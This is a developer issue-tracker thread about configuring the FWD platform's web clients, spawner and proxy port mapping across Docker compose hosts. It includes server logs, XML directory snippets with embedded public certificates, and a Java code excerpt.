We need a basic example of configuration so that we can have client support on a different server than the server support. This can be done in Hotel, since the concept would certainly work for ChUI, as well. Basically, fwddev1 is where you would ssh to so that you could run client-terminal.sh with a destination server of fwddev2.

Then, for Hotel GUI, we'd want to be able access http://fwddev1:7443/gui and the server/database would be fwddev2.

A separate system on which clients can be run is just one that:

1. Has all the installation/setup as documented in Client Installation.
2. Does NOT have anything exclusively needed by Application Server Installation. In other words, there is no FWD server on that system and all the crud from the FWD server is not installed or setup.
3. If you need spawning on that client system (e.g. web clients or appserver agents or batch processes) then follow the instructions in Remote Launchers.

I think that is all there is to do. If you find something confusing or missing, ask.

Greg Shah wrote:

A separate system on which clients can be run is just one that:

1. Has all the installation/setup as documented in Client Installation.
2. Does NOT have anything exclusively needed by Application Server Installation. In other words, there is no FWD server on that system and all the crud from the FWD server is not installed or setup.
3. If you need spawning on that client system (e.g. web clients or appserver agents or batch processes) then follow the instructions in Remote Launchers.

I think that is all there is to do. If you find something confusing or missing, ask.

I setup Hotel to run in my VM (fwddev2 or 192.168.1.195). The directory.xml has the IP address of the VM instead of localhost. When I access http://fwddev2:8443/chui, the sign-on screen appears, but then the javascript dies indicating:

The webpage at https://192.168.1.195:8449/index.html?token=71b0cf2796774859054e89939c809124 might be temporarily down or it may have moved permanently to a new web address.

I look at the spawner process on the server and see /opt/spawner/spawn 0 3333 localhost standard bb9d5dec-cbc3-45fd-b3da-5ba686b3c541 net:socket:nio=false net:ssl:trackSeqNo=false fwd "" /opt/hotel/client java -Xmx512m .... Shouldn't the localhost be the IP address of the server? I also see that in the fwd_client_base_crash_20250630_154256.log log file shows CLIENT_IP = '192.168.1.137', which is the IP address of the host I was using to access the server. That seems to confirm that localhost is resolved as my host's IP address.

In Spawner Setup and Configuration it mentions <host>, but there is no reference to where this is configured in the directory that I can find.

Sergey: Please review and answer the questions.

It seems that the host name should be given by host under webClient node:

        <node class="container" name="webClient">
         ......................................
          <node class="string" name="host">
            <node-attribute name="value" value="192.168.1.137"/>
          </node>
         ......................................
        </node>

If the host name can be resolved to ip address on this vm, then the configuration can be

        <node class="container" name="webClient">
         ......................................
          <node class="string" name="host">
            <node-attribute name="value" value="fwddev2"/>
          </node>
         ......................................
        </node>

I see that the embedded web server has been started on the host=172.18.0.3 and port = 8443 so the embedded server could complain the different url.

NFO | com.goldencode.p2j.web.GenericWebServer [GenericWebServer.startup] | ThreadName:main, ThreadId:00000003, User:standard | Server URL: https://172.18.0.3:8443/
25/07/01 08:36:47.447-0400 |    INFO | com.goldencode.p2j.web.GenericWebServer | ThreadName:main, ThreadId:00000003, User:standard | SSL provider: <default>
25/07/01 08:36:47.453-0400 | WARNING | com.goldencode.p2j.net.RouterSessionManager [SessionManager.listen()] | ThreadName:main, ThreadId:00000003, User:standard | INSECURE sockets in use!
25/07/01 08:36:47.455-0400 |    INFO | com.goldencode.p2j.net.RouterSessionManager [SessionManager.listen()] | ThreadName:main, ThreadId:00000003, User:standard | Server ready
25/07/01 08:37:21.284-0400 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp239541487-58 | not available host:port localhost/127.0.0.1:8449.
25/07/01 08:37:26.292-0400 |    INFO | com.goldencode.p2j.main.WebDriverHandler | ThreadName:qtp239541487-58 | Returns the redirect url https://192.168.1.195:8449/index.html?token=47caab99869801e5e4c65d98cfab32c4 as response to ChUI client.

VM works as a proxy server.

Sergey Ivanovskiy wrote:

I see that the embedded web server has been started on the host=172.18.0.3 and port = 8443 so the embedded server could complain the different url.
[...]
But according to 192.168.1.195 is the VM that is running a mgmt created server to host the Docker containers 192.168.1.195 routes to 172.18.0.3 so the host should be 172.18.0.3.

No, it is not correct. The host seems to be 192.168.1.195. There is another reason that causes this issue.

It seems that we can try the configuration where we set the forward proxy server to 192.168.1.195.

I think that the root cause is that the embeedded web server of the client process should start as host=172.18.0.3 and if we would do this, then the web client url became https://172.18.0.3:8449/index.html?token=47caab99869801e5e4c65d98cfab32c4 that should not work because this ip address is known only to the vm. Thus we need the reverse proxy server configuration but the reverse server configuration maps clients to client prefixes that does not work for your case. We need a configuration that just replace IP adresses and does not map ports to url prefixes.

The bridged network of Docker has been a challenge to figure out. The "normal" Docker container hasn't been a problem, but using compose to setup an docker network of containers is difficult because within the network, they containers know each other by name (the name of the container) but externally, which is where web clients would come from, have to get to the host, and the port access connects to within a particular container, like the server.

The requirements that led us to this config was the need to be able to load balance a large number of web clients among multiple client images, and the databases would be serviced by multiple postgres containers. I figured getting a "simple" complex configuration would be step one.

I am happy to debug something, or help you setup.

It seems that the code changes is required to setup this case properly. If we start to use the proxy server configuration, then the final url is build from the client prefix and the forward server address. For this case we need the forward server address and the port number, so webRoot should be something like :port/.
The responsible code is that

      if (viaProxyServer)
      {
         StringBuilder webRootBuilder = new StringBuilder();
         webRootBuilder.append("/");
         webRootBuilder.append(proxyPathSegment);
         webRootBuilder.append("/").append(
                  hostsManager.getPortName(prefix, from, host, webClientConfig.getPort()));
         webRoot = webRootBuilder.toString();
      }
      webClientConfig.setNewClient(uuid, webRoot, osUser, forwardedProto, forwardedHost);

Sergey Ivanovskiy wrote:

Roger, could you check this patch with your environment. The new directory settings should be

Thank you for the quick turnaround. To test, I'll have to build Docker images with the patch, and I have a couple of other things in front of it. I should get to it today, though.

Sergey Ivanovskiy wrote:

Roger, could you check this patch with your environment. The new directory settings should be

Should the below be removed?

            <node class="string" name="namePrefix">
              <node-attribute name="value" value="client"/>
            </node>

I get: "The spawn process failed with 0 error. Please see spawner logs." I don't see any logs. What can I add to increase the logging for the spawner? I just want to make sure your change is fine, and not the Docker setup itself.

The server log has the below at the bottom:

25/07/03 07:47:09.646-0400 |    INFO | org.eclipse.jetty.util.log | ThreadName:main, ThreadId:00000003, User:standard | Logging initialized @14993ms to org.eclipse.jetty.util.log.Slf4jLog
25/07/03 07:47:10.016-0400 |    INFO | org.eclipse.jetty.server.Server | ThreadName:main, ThreadId:00000003, User:standard | jetty-9.4.57.v20241219; built: 2025-01-08T21:24:30.412Z; git: df524e6b29271c2e09ba9aea83c18dc9db464a31; jvm 17.0.15+6-Ubuntu-0ubuntu122.04
25/07/03 07:47:10.149-0400 |    INFO | org.eclipse.jetty.webapp.StandardDescriptorProcessor | ThreadName:main, ThreadId:00000003, User:standard | NO JSP Support for /admin, did not find org.eclipse.jetty.jsp.JettyJspServlet
25/07/03 07:47:10.161-0400 |    INFO | org.eclipse.jetty.server.session | ThreadName:main, ThreadId:00000003, User:standard | DefaultSessionIdManager workerName=node0
25/07/03 07:47:10.162-0400 |    INFO | org.eclipse.jetty.server.session | ThreadName:main, ThreadId:00000003, User:standard | No SessionScavenger set, using defaults
25/07/03 07:47:10.165-0400 |    INFO | org.eclipse.jetty.server.session | ThreadName:main, ThreadId:00000003, User:standard | node0 Scavenging every 660000ms
25/07/03 07:47:10.230-0400 |    INFO | org.eclipse.jetty.server.handler.ContextHandler | ThreadName:main, ThreadId:00000003, User:standard | Started o.e.j.w.WebAppContext@1ac32da1{/admin,jar:file:/opt/fwd-deploy/convert/build/lib/p2j.jar!/com/goldencode/p2j/admin,AVAILABLE}{adminapp}
25/07/03 07:47:10.265-0400 |    INFO | org.eclipse.jetty.server.AbstractConnector | ThreadName:main, ThreadId:00000003, User:standard | Started ServerConnector@4ae45ff{SSL, (ssl, http/1.1)}{0.0.0.0:8443}
25/07/03 07:47:10.265-0400 |    INFO | org.eclipse.jetty.server.Server | ThreadName:main, ThreadId:00000003, User:standard | Started @15613ms
25/07/03 07:47:10.266-0400 |    INFO | com.goldencode.p2j.web.GenericWebServer [GenericWebServer.startup] | ThreadName:main, ThreadId:00000003, User:standard | Server URL: https://172.18.0.3:8443/
25/07/03 07:47:10.267-0400 |    INFO | com.goldencode.p2j.web.GenericWebServer | ThreadName:main, ThreadId:00000003, User:standard | SSL provider: <default>
25/07/03 07:47:10.276-0400 | WARNING | com.goldencode.p2j.net.RouterSessionManager [SessionManager.listen()] | ThreadName:main, ThreadId:00000003, User:standard | INSECURE sockets in use!
25/07/03 07:47:10.281-0400 |    INFO | com.goldencode.p2j.net.RouterSessionManager [SessionManager.listen()] | ThreadName:main, ThreadId:00000003, User:standard | Server ready
25/07/03 07:47:46.635-0400 | WARNING | com.goldencode.p2j.util.Utils | ThreadName:qtp1786416670-58 | not available host:port localhost/127.0.0.1:8449.

I found in this server log

https://192.168.1.195/proxy/client11/index.html?token=296e8ed83b1db57f8a5e5b586d6a1e37

Although your directory changes are correct

          <node class="container" name="portsRange">

            <node class="string" name="forwardedHost">

              <node-attribute name="value" value="192.168.1.195"/>

            </node>

            <node class="string" name="forwardedProto">

              <node-attribute name="value" value="https"/>

            </node>

            <node class="boolean" name="directPortMapping">

              <node-attribute name="value" value="TRUE"/>

            </node>

            <node class="string" name="namePrefix">

              <node-attribute name="value" value="client"/>

            </node>

            <node class="integer" name="from">

              <node-attribute name="value" value="8449"/>

            </node>

            <node class="integer" name="to">

              <node-attribute name="value" value="8459"/>

            </node>

          </node>

In the committed version 9709a rev 16029 I just found that these settings are provided incorrectly

               'loginPage' : 'https://192.168.1.41/gui',
               'logoutPage': 'https://192.168.1.41/gui/logout',

login and logout urls are added by request handler too early before the client url is built

WebDriverHandler.addUrlsToOptions(List<String>, WebDriverRequestParameters, WebDriverType) line: 1533    
VirtualDesktopWebHandler(WebDriverHandler).handleStartClientRequest(Request, HttpServletRequest, HttpServletResponse, boolean, WebDriverType) line: 618    
VirtualDesktopWebHandler.handle(String, Request, HttpServletRequest, HttpServletResponse) line: 197    
HandlerCollection.handle(String, Request, HttpServletRequest, HttpServletResponse) line: 146    
Server(HandlerWrapper).handle(String, Request, HttpServletRequest, HttpServletResponse) line: 127    
Server.handle(HttpChannel) line: 516    
HttpChannelOverHttp(HttpChannel).lambda$handle$1() line: 487    
1543104814.dispatch() line: not available    
HttpChannelOverHttp(HttpChannel).dispatch(DispatcherType, HttpChannel$Dispatchable) line: 732    
HttpChannelOverHttp(HttpChannel).handle() line: 479    
HttpConnection.onFillable() line: 277    
AbstractConnection$ReadCallback.succeeded() line: 311    
AbstractEndPoint$1(FillInterest).fillable() line: 105    
SslConnection$DecryptedEndPoint.onFillable() line: 555    
SslConnection.onFillable() line: 410    
SslConnection$2.succeeded() line: 164    
AbstractEndPoint$1(FillInterest).fillable() line: 105    
ChannelEndPoint$1.run() line: 104    
EatWhatYouKill.runTask(Runnable) line: 338    
EatWhatYouKill.doProduce(boolean) line: 315    
EatWhatYouKill.tryProduce(boolean) line: 173    
EatWhatYouKill.run() line: 131    
ReservedThreadExecutor$ReservedThread.run() line: 409    
QueuedThreadPool.runJob(Runnable) line: 883    
QueuedThreadPool$Runner.run() line: 1034    
Thread.run() line: 750    

Sergey Ivanovskiy wrote:

I found in this server log
[...]
that means that you used another sources to build the tested binaries.

I patched trunk_16020 revision, which is what I converted with. I will use your new 9709a branch from now on.

Sergey, can you describe the issue that we are working on with some basic language? I created this Redmine task because I could not determine how to configure <server computer> --> <client computer> from the existing documents so that I could create a docker compose environment. You have determined something is wrong in FWD that prevents this configuration, and I would like to make sure that description is in this task.

Yes, we discussed the configuration where the virtual machine is used like a proxy server that redirect external port to internal docker instances, correct?
Please try this version revision 16030 (9709a). I did not plan to change the code and this should work for your case.

Sergey Ivanovskiy wrote:

Yes, we discussed the configuration where the virtual machine is used like a proxy server that redirect external port to internal docker instances, correct?

Thank you. I suppose this is the case for all Docker compose because there is an "internal" network that the Docker environment creates. It is very easy to create a 3 computer network using Docker compose... A database server, a "server" server, and a "client" server. The intention is that we could spread a large number of web clients across multiple "client" servers to balance the load.

Please try this version revision 16030 (9709a). I did not plan to change the code and this should work for your case.

I am creating Docker images for this right now.

Did you try to test with Java 8?

Roger, please check also with Java 8 the following settings:

<webClient>
......................................
          <node class="string" name="host">
            <node-attribute name="value" value="localhost"/>
          </node>
......................................
          <node class="container" name="portsRange">
            <node class="string" name="forwardedHost">
              <node-attribute name="value" value="192.168.1.195"/>
            </node>
            <node class="string" name="forwardedProto">
              <node-attribute name="value" value="https"/>
            </node>
            <node class="boolean" name="directPortMapping">
              <node-attribute name="value" value="true"/>
            </node>
            <node class="integer" name="from">
              <node-attribute name="value" value="8449"/>
            </node>
            <node class="integer" name="to">
              <node-attribute name="value" value="8459"/>
            </node>
          </node>
....................
</webClient>

Sergey Ivanovskiy wrote:

Did you try to test with Java 8?

OK. I will have to build Docker images with Java 8. What are you thinking?

It seems that the client log shows system API issues and there are no reasons to connect these exceptions with 9709a changes but you did not attach the server logs.

Sergey Ivanovskiy wrote:

It seems that the client log shows system API issues and there are no reasons to connect these exceptions with 9709a changes but you did not attach the server logs.

Apologies... I posted everything after "Server ready".

A twist... When I tried JDK8 it worked! I was able to sign into ChUI via the web... I also had left the directory alone:

<webClient>
......................................
          <node class="string" name="host">
            <node-attribute name="value" value="172.18.0.3"/>
          </node>
......................................
          <node class="container" name="portsRange">
            <node class="string" name="forwardedHost">
              <node-attribute name="value" value="192.168.1.195"/>
            </node>
            <node class="string" name="forwardedProto">
              <node-attribute name="value" value="https"/>
            </node>
            <node class="boolean" name="directPortMapping">
              <node-attribute name="value" value="TRUE"/>
            </node>
            <node class="string" name="namePrefix">
              <node-attribute name="value" value="client"/>
            </node>
            <node class="integer" name="from">
              <node-attribute name="value" value="8449"/>
            </node>
            <node class="integer" name="to">
              <node-attribute name="value" value="8459"/>
            </node>
          </node>
....................
</webClient>

I went back to the JDK17, and it failed, but worked with localhost in there! So I've tested both JDK8 and JDK17 with localhost, and they both work.

Sergey, I think that's it!

My congratulations to you!

Sergey Ivanovskiy wrote:

My congratulations to you!

Me?? To you. Of course I wanted to take this to the next level, where I have DB server, "server" server (172.18.0.3), and "client" server (172.18.0.4), which is what this task is all about.

I used browser URL as https://192.168.1.195:8443/chui and the 8443 port would be serviced by the client. When I configured the client to accept the port, it didn't work. I went back to configure the server to accept port 8443 port and we are successful again.

So I look at ps -aef on the client. No java processes.

I look at ps -aef on the server and the spawner is in the process list.

So my question is (and Greg, feel free to jump in) shouldn't the spawner process be executing on the client? Do I need additional webClient configuration for that? Perhaps make the host 172.18.0.4?

Web client does need the spawner on the client box. That means implementing the broker functionality (see Remote Launchers which I mentioned in item 3 of #9709-3).

Greg Shah wrote:

Web client does need the spawner on the client box. That means implementing the broker functionality (see Remote Launchers which I mentioned in item 3 of #9709-3).

OK... so there's more work to do on this task. I will say that I was successful breaking up run_docker.sh into docker_prepare.sh, docker_import.sh, and docker_run.sh so that we don't have a "monolith". Also that the docker compose network is now available to connect to from outside the network. TBD is making sure the prepare_dir.sh can configure the proxy information when configured.

More to come as I try to work through those documents to create a basic example.

I can post the old broker configuration here.

The server directory should have the following settings

          <node class="process" name="broker1_process">
            <node-attribute name="enabled" value="TRUE"/>
            <node-attribute name="description" value="broker1_process"/>
            <node-attribute name="server" value="FALSE"/>
            <node-attribute name="alias" value="broker1"/>
            <node-attribute name="broker" value="broker1"/>
          </node>
.......................................................
        <node class="container" name="brokers">
          <node class="broker" name="broker1">
            <node-attribute name="account" value="sbi"/>
          </node>
        </node>

      <node class="container" name="certificates">
        <node class="container" name="cas">
          <node class="bytes" name="p2j-root">
            <node-attribute name="value" value="MIIEUjCCAzqgAwIBAgIMXRMljS3ZnzOyaEusMA0GCSqGSIb3DQEBCwUAMIGnMRAwDgYDVQQIDAdHZW9yZ2lhMQswCQYDVQQGEwJVUzEfMB0GA1UECwwWSW5mb3JtYXRpb24gVGVjaG5vbG9neTEQMA4GA1UEBwwHQXRsYW50YTEsMCoGA1UECgwjR29sZGVuIENvZGUgRGV2ZWxvcG1lbnQgQ29ycG9yYXRpb24xJTAjBgNVBAMMHHAyai1yb290IC0gcm9vdCBDQSBhdXRob3JpdHkwHhcNMTcxMDE2MTgzMzE3WhcNMjcxMDE2MTgzMzE3WjCBpzEQMA4GA1UECAwHR2VvcmdpYTELMAkGA1UEBhMCVVMxHzAdBgNVBAsMFkluZm9ybWF0aW9uIFRlY2hub2xvZ3kxEDAOBgNVBAcMB0F0bGFudGExLDAqBgNVBAoMI0dvbGRlbiBDb2RlIERldmVsb3BtZW50IENvcnBvcmF0aW9uMSUwIwYDVQQDDBxwMmotcm9vdCAtIHJvb3QgQ0EgYXV0aG9yaXR5MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmMsQQBmuHgvkvsVGy/8cM7d3vJSZt9nLU/HUkPZxpm/pQ52Ob7tJzvDkKpDfTGPdZvMnXzCxc9IsvkYPeyiaSFo9FFpPvMNzoNTkcABZDW4LiGI7HfjlGDPudP24y7xm1M3yHXi+mGkJSGUTE9fBVPHkMehVRs3D/H8eLVMRFSbBdT5MmhDrWAKF6ukPN136QhW+nHHE2Nv+2oHLClUrINWa5/biAMEcxZvGYy3dCjkb4NkcoonmZvb/H4frl06qizUtgWP2dgZa+U0WlShDzRdHtaTfgJC94KNaIjaaqC/4PopH7VBvAr6wcb834PVdQ9LXbEwgi13ThgGCpCedgQIDAP85o3wwejAfBgNVHSMEGDAWgBRf8zqWt+SCjN6PeJ/s28anmiC3YjAdBgNVHQ4EFgQUX/M6lrfkgozej3if7NvGp5ogt2IwDwYDVR0TAQH/BAUwAwEB/zAnBgNVHREEIDAeghxwMmotcm9vdCAtIHJvb3QgQ0EgYXV0aG9yaXR5MA0GCSqGSIb3DQEBCwUAA4IBAQA/wwUgUbtoKvYNsQ9Hx/0azHx1Ti6cojvaGlxOsPHKgTvfET7//8pnB3SRonV8su9YDxtNlTrnmDW4LL4J9R3/r7x/AR+sthlarJTln5WwKu51eqxCAeUPcMpXzBj6evFFMG+kcanFY2WMJeYfitRH/aewTnoM+6EPOpIJkeQfW2jgW7e8yui1YNydxfD5ESnKrfIyEfL9DY8jezEwzdF77iycYHX2Gzn7qNiTjx8zzYz5IpKToKSFgybZwzmZSZkm5J88FXoG3TOIR9Is6lmSBinAgMz+b2QYj4/0/cBOsTfSXpddh05AIblkoedENRAv/4jVWZHAA9mPmguHyGzw"/>
          </node>
        </node>
        <node class="container" name="peers">
          <node class="bytes" name="broker1">
            <node-attribute name="value" value="MIIE9TCCA92gAwIBAgIHAMbIAhfvKTANBgkqhkiG9w0BAQsFADCBpzEQMA4GA1UECAwHR2VvcmdpYTELMAkGA1UEBhMCVVMxHzAdBgNVBAsMFkluZm9ybWF0aW9uIFRlY2hub2xvZ3kxEDAOBgNVBAcMB0F0bGFudGExLDAqBgNVBAoMI0dvbGRlbiBDb2RlIERldmVsb3BtZW50IENvcnBvcmF0aW9uMSUwIwYDVQQDDBxwMmotcm9vdCAtIHJvb3QgQ0EgYXV0aG9yaXR5MB4XDTE3MTAxNjE4MzMxN1oXDTI3MTAxNjE4MzMxN1owgZoxEDAOBgNVBAgMB0dlb3JnaWExCzAJBgNVBAYTAlVTMR8wHQYDVQQLDBZJbmZvcm1hdGlvbiBUZWNobm9sb2d5MRAwDgYDVQQHDAdBdGxhbnRhMSwwKgYDVQQKDCNHb2xkZW4gQ29kZSBEZXZlbG9wbWVudCBDb3Jwb3JhdGlvbjEYMBYGA1UEAwwPYnJva2VyMSBhY2NvdW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuW6b+Ev/AxVJuLzEGE7vzfiE7zXnFQ5O/l63M3G5/2Wgv2IIpJKySeJw1q+/u6bpUnexFb33HC3JTx2u3vcVzYHqJb7kbY72Sp/8ferTtyl1h6iSxawj4BT1PAIiP2gvXCgQ64dtm2lJnL/sd7Q3E9lNYGjIk5clr6akLOQEjVaDUd+SrZEJTBQk31RgTej1zopddR+S7p+7c9YPz7n6xNUWsscQRFT6IQEUc3WpcUTlm2srm7HEsU0QQnrCKIE6fsIyrz3JfCdoYktIXOdUbw7S3ENQf0+IbytL5VCqskGyppVUBcrot2Q9hTWIeAJ3J12NDpSZYPexDbXA88xO6QIDAP85o4IBLzCCASswgd8GA1UdIwSB1zCB1IAUX/M6lrfkgozej3if7NvGp5ogt2Khga2kgaowgacxEDAOBgNVBAgMB0dlb3JnaWExCzAJBgNVBAYTAlVTMR8wHQYDVQQLDBZJbmZvcm1hdGlvbiBUZWNobm9sb2d5MRAwDgYDVQQHDAdBdGxhbnRhMSwwKgYDVQQKDCNHb2xkZW4gQ29kZSBEZXZlbG9wbWVudCBDb3Jwb3JhdGlvbjElMCMGA1UEAwwccDJqLXJvb3QgLSByb290IENBIGF1dGhvcml0eYIMXRMljS3ZnzOyaEusMB0GA1UdDgQWBBRbw/BL2lJqnqcwxNDgcXEJpEplLzAMBgNVHRMBAf8EAjAAMBoGA1UdEQQTMBGCD2Jyb2tlcjEgYWNjb3VudDANBgkqhkiG9w0BAQsFAAOCAQEAGmwvHde4We2J1hbeY6ZFMHDSdfoyJuE/nrow0Yad9KPGrovLLd/zNvfDdiePYgho/ezeny9056m7s/Ek6DCjepYGVMhq+VLFC8rkXNshjOIlJIcfVmXWASW/bIgwJHVoZ9ZDIM6ReaqegH9EljPc2YHG2ExVWPQGzRGMMbtzeYw2RC+creAEQKPAfHu6wLGgvGl8iynHi7pSMEo248NZYeO4TshivxaX+ZEr8ZsyWQhzvDamjBLrBW38+ZXRBygx/BgKNyeqqa7iOudPsW3d+cHK6f+yT23v964cMGAnH3NaD26t/Hw957Qztbq7zzyoZwAt1+2/jDL2wkvkmnlU/g=="/>
          </node>
          <node class="bytes" name="shared">
            <node-attribute name="value" value="MIIE9jCCA96gAwIBAgIKAOm9ARJG3D5jWzANBgkqhkiG9w0BAQsFADCBpzEQMA4GA1UECAwHR2VvcmdpYTELMAkGA1UEBhMCVVMxHzAdBgNVBAsMFkluZm9ybWF0aW9uIFRlY2hub2xvZ3kxEDAOBgNVBAcMB0F0bGFudGExLDAqBgNVBAoMI0dvbGRlbiBDb2RlIERldmVsb3BtZW50IENvcnBvcmF0aW9uMSUwIwYDVQQDDBxwMmotcm9vdCAtIHJvb3QgQ0EgYXV0aG9yaXR5MB4XDTE3MTAxNjE4MzMxOFoXDTI3MTAxNjE4MzMxOFowgZkxEDAOBgNVBAgMB0dlb3JnaWExCzAJBgNVBAYTAlVTMR8wHQYDVQQLDBZJbmZvcm1hdGlvbiBUZWNobm9sb2d5MRAwDgYDVQQHDAdBdGxhbnRhMSwwKgYDVQQKDCNHb2xkZW4gQ29kZSBEZXZlbG9wbWVudCBDb3Jwb3JhdGlvbjEXMBUGA1UEAwwOc2hhcmVkIGFjY291bnQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDJ+7bxEuWXHFAJzpcK80z5qY9KL/Z3bOTjER7bRA5l8ImHU6TcaOBb1k6Pv4cqaer0134tAvbW4scduN/ydN6UsqUnHe+yiYpJdYQQ44kRYC5Xy0KPbDDWbTYbUEpmbHoqmQZtF2/E11JJTybn2E34MRTL3Uw5MJiEEa139bDy6BZVS4T1qKX2Ln7X28nbBvvwKQCq0C1nKXhM2XwXMlT074vQ21O9wIYpiTL+TvvifzUdi9FhYjNL+h4leSD0MdgGLem1cu4XijW3rqGtHjmjpF82ywdBEwfBXLFJS7pp6vwPM5hpZp8SBcshno5t0z29NVg937uET5Y8NyxSd1U1AgMA/zmjggEuMIIBKjCB3wYDVR0jBIHXMIHUgBRf8zqWt+SCjN6PeJ/s28anmiC3YqGBraSBqjCBpzEQMA4GA1UECAwHR2VvcmdpYTELMAkGA1UEBhMCVVMxHzAdBgNVBAsMFkluZm9ybWF0aW9uIFRlY2hub2xvZ3kxEDAOBgNVBAcMB0F0bGFudGExLDAqBgNVBAoMI0dvbGRlbiBDb2RlIERldmVsb3BtZW50IENvcnBvcmF0aW9uMSUwIwYDVQQDDBxwMmotcm9vdCAtIHJvb3QgQ0EgYXV0aG9yaXR5ggxdEyWNLdmfM7JoS6wwHQYDVR0OBBYEFPDoZukmPMAl/BHs7tPOXF7ac81RMAwGA1UdEwEB/wQCMAAwGQYDVR0RBBIwEIIOc2hhcmVkIGFjY291bnQwDQYJKoZIhvcNAQELBQADggEBAGmVrMySW6s0HOrwKbysEXmSHeEu0XzhvKwxAK0GySHjnU0CNqAGxVBxGXFjAw7IUpDJ0oXSOwkKiJMBTYgPQoWcjit2Pj1CaaruSJv0q0t3Evhkg0fXk3wCTnyW/zGvXLCXYgmTQ7UqYvaMrmEcXZ4qFrM8osIQfX12mHdjwrUSrBwkdsTVXoXnMPBxXUXmJ4IsFTdr3Eoq4RevsaR8uXDLrfnxrGR0PocqKWF3WpXfPfWRHyctBslOj/KLgqk7AqwMr35QsFWJevX49ZDR00IBaNTWnAO7fdRtvhEw5YVHL4xo08rTnBROl0ybg3XzY0W1TfSG+0Bld03pvyInkQ4="/>
          </node>
          <node class="bytes" name="standard">
            <node-attribute name="value" value="MIIE8TCCA9mgAwIBAgIDGFWiMA0GCSqGSIb3DQEBCwUAMIGnMRAwDgYDVQQIDAdHZW9yZ2lhMQswCQYDVQQGEwJVUzEfMB0GA1UECwwWSW5mb3JtYXRpb24gVGVjaG5vbG9neTEQMA4GA1UEBwwHQXRsYW50YTEsMCoGA1UECgwjR29sZGVuIENvZGUgRGV2ZWxvcG1lbnQgQ29ycG9yYXRpb24xJTAjBgNVBAMMHHAyai1yb290IC0gcm9vdCBDQSBhdXRob3JpdHkwHhcNMTcxMDE2MTgzMzE4WhcNMjcxMDE2MTgzMzE4WjCBmjEQMA4GA1UECAwHR2VvcmdpYTELMAkGA1UEBhMCVVMxHzAdBgNVBAsMFkluZm9ybWF0aW9uIFRlY2hub2xvZ3kxEDAOBgNVBAcMB0F0bGFudGExLDAqBgNVBAoMI0dvbGRlbiBDb2RlIERldmVsb3BtZW50IENvcnBvcmF0aW9uMRgwFgYDVQQDDA9zdGFuZGFyZCBzZXJ2ZXIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCpkYskeNO5sLmsGU/kPvTjKkG7x/9t0RcZL224MKsZSCOoed1ZOlmQ5axdz6Y/U5E5hnkP93cZr7/Rzq4J8YPP9rD+15hMWhkWDlkWuDAtHl0bt5IgJl0Wr9/MQHrDM+YPhvZcX7hKbJtXA9uNPTZgAfMpF+IBVVudVHF3f/zZpoaad5+rOUO8jlvGxeyX9DiFFA8C54z8sP/qc3E65wwfNS/XaE1tUYvz8UjU9WGQJbS89xhavcyScc55MBhwKCnnghMTvB46QLVf2XjsAB0kJxpikx87JfufyOS/DrLEbCKIGRpzcaZQuXQzEc0JPm0G/SvIBN7QOeE7Pp4W85wZAgMA/zmjggEvMIIBKzCB3wYDVR0jBIHXMIHUgBRf8zqWt+SCjN6PeJ/s28anmiC3YqGBraSBqjCBpzEQMA4GA1UECAwHR2VvcmdpYTELMAkGA1UEBhMCVVMxHzAdBgNVBAsMFkluZm9ybWF0aW9uIFRlY2hub2xvZ3kxEDAOBgNVBAcMB0F0bGFudGExLDAqBgNVBAoMI0dvbGRlbiBDb2RlIERldmVsb3BtZW50IENvcnBvcmF0aW9uMSUwIwYDVQQDDBxwMmotcm9vdCAtIHJvb3QgQ0EgYXV0aG9yaXR5ggxdEyWNLdmfM7JoS6wwHQYDVR0OBBYEFGeuUv/IaHIk/JGAJkekeP66cWDkMAwGA1UdEwEB/wQCMAAwGgYDVR0RBBMwEYIPc3RhbmRhcmQgc2VydmVyMA0GCSqGSIb3DQEBCwUAA4IBAQAWShIVifevaFe0I1HAMEDOHrpGQLige5D7J67CxLkBk9Q64h5qim6tIoWNn1Dee9oe84D4m6MAICaQLLs+X1j0GDqhWEwgy+6FFvrqwIIYP6o3BvmbMEHzRWw3anEVrE3U3S4HZ7zYrJF45MKAgNCvMjbEPg8f/GbalzyP0L7NgMQnBifE8LXKlWwNn9bJWxSLa/iR9du12J8K27upSxefP10T6/ht379sPWi0ZvB27lJHTpVFl5e5BgyH71J8bYuTubCKkDpdIlBXqXRcfCVI3aSsYvf8MOUyywzlGzn6o+SWMjtCsKf6DBexLzpauwCdwX3iUZvSvKWW0fPmZybz"/>
          </node>
        </node>
        <node class="container" name="company">
          <node class="string" name="c">
            <node-attribute name="value" value="US"/>
          </node>
          <node class="string" name="l">
            <node-attribute name="value" value="Atlanta"/>
          </node>
          <node class="string" name="o">
            <node-attribute name="value" value="Golden Code Development Corporation"/>
          </node>
          <node class="string" name="ou">
            <node-attribute name="value" value="Information Technology"/>
          </node>
          <node class="string" name="st">
            <node-attribute name="value" value="Georgia"/>
          </node>
          <node class="integer" name="validityyears">
            <node-attribute name="value" value="10"/>
          </node>
        </node>
        <node class="container" name="private-keys">
          <node class="container" name="p2j-root">
            <node class="bytes" name="key-entry">
